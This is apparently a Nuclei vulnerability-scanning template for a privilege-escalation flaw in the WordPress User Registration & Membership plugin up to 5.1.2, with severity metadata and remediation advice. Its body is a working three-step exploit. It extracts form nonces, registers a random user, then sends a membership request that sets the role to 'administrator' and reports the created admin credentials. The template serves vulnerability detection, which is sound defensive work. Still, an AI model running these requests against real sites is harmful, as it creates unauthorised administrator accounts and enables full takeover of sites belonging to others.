WordPress User Registration & Membership <= 5.1.2 - Unauthenticated Privilege Escalation

id: CVE-2026-1492

info:
  name: WordPress User Registration & Membership <= 5.1.2 - Unauthenticated Privilege Escalation
  author: omarkurt
  severity: critical
  description: |
    User Registration & Membership WordPress plugin <= 5.1.2 contains an improper privilege management vulnerability caused by accepting user-supplied roles without server-side allowlist enforcement, letting unauthenticated attackers create administrator accounts
  impact: |
    Unauthenticated attackers can create administrator accounts, leading to full system compromise.
  remediation: |
    Update to the latest version beyond 5.1.2.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-1492
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/7e9fec92-f471-4ce9-9138-1c58ad658da2
    - https://plugins.trac.wordpress.org/changeset/3469042/user-registration
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-269
    cve-id: CVE-2026-1492
    epss-score: 0.28892
    epss-percentile: 0.98171
  metadata:
    max-request: 3
    verified: true
  tags: cve,cve2026,wordpress,wp-plugin,user-registration,privilege-escalation,vkev

variables:
  username: "{{to_lower(rand_base(8))}}"
  email: "{{to_lower(rand_base(8))}}@wptest.com"
  password: "Wp-{{rand_base(12)}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /registration/ HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml

    host-redirects: true
    max-redirects: 2

    extractors:
      - type: regex
        name: form_id
        part: body
        internal: true
        group: 1
        regex:
          - 'name="ur-user-form-id" value="(\d+)"'

      - type: regex
        name: form_save_nonce
        part: body
        internal: true
        group: 1
        regex:
          - '"user_registration_form_data_save"\s*:\s*"([a-f0-9]+)"'

      - type: regex
        name: ur_nonce
        part: body
        internal: true
        group: 1
        regex:
          - 'id="ur_frontend_form_nonce" name="ur_frontend_form_nonce" value="([a-f0-9]+)"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        action=user_registration_user_form_submit&security={{form_save_nonce}}&ur_frontend_form_nonce={{ur_nonce}}&form_id={{form_id}}&form_data=%5B%7B%22field_name%22%3A%22user_login%22%2C%22value%22%3A%22{{username}}%22%7D%2C%7B%22field_name%22%3A%22user_email%22%2C%22value%22%3A%22{{email}}%22%7D%2C%7B%22field_name%22%3A%22user_pass%22%2C%22value%22%3A%22{{password}}%22%7D%2C%7B%22field_name%22%3A%22user_confirm_password%22%2C%22value%22%3A%22{{password}}%22%7D%5D

    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        action=user_registration_membership_register_member&security=invalid&members_data=%7B%22membership%22%3A%221%22%2C%22payment_method%22%3A%22free%22%2C%22username%22%3A%22{{username}}%22%2C%22role%22%3A%22administrator%22%7D

    matchers:
      - type: word
        part: body
        words:
          - '"success":true'

    extractors:
      - type: dsl
        dsl:
          - '"Created admin: " + username + " / " + password'
        internal: true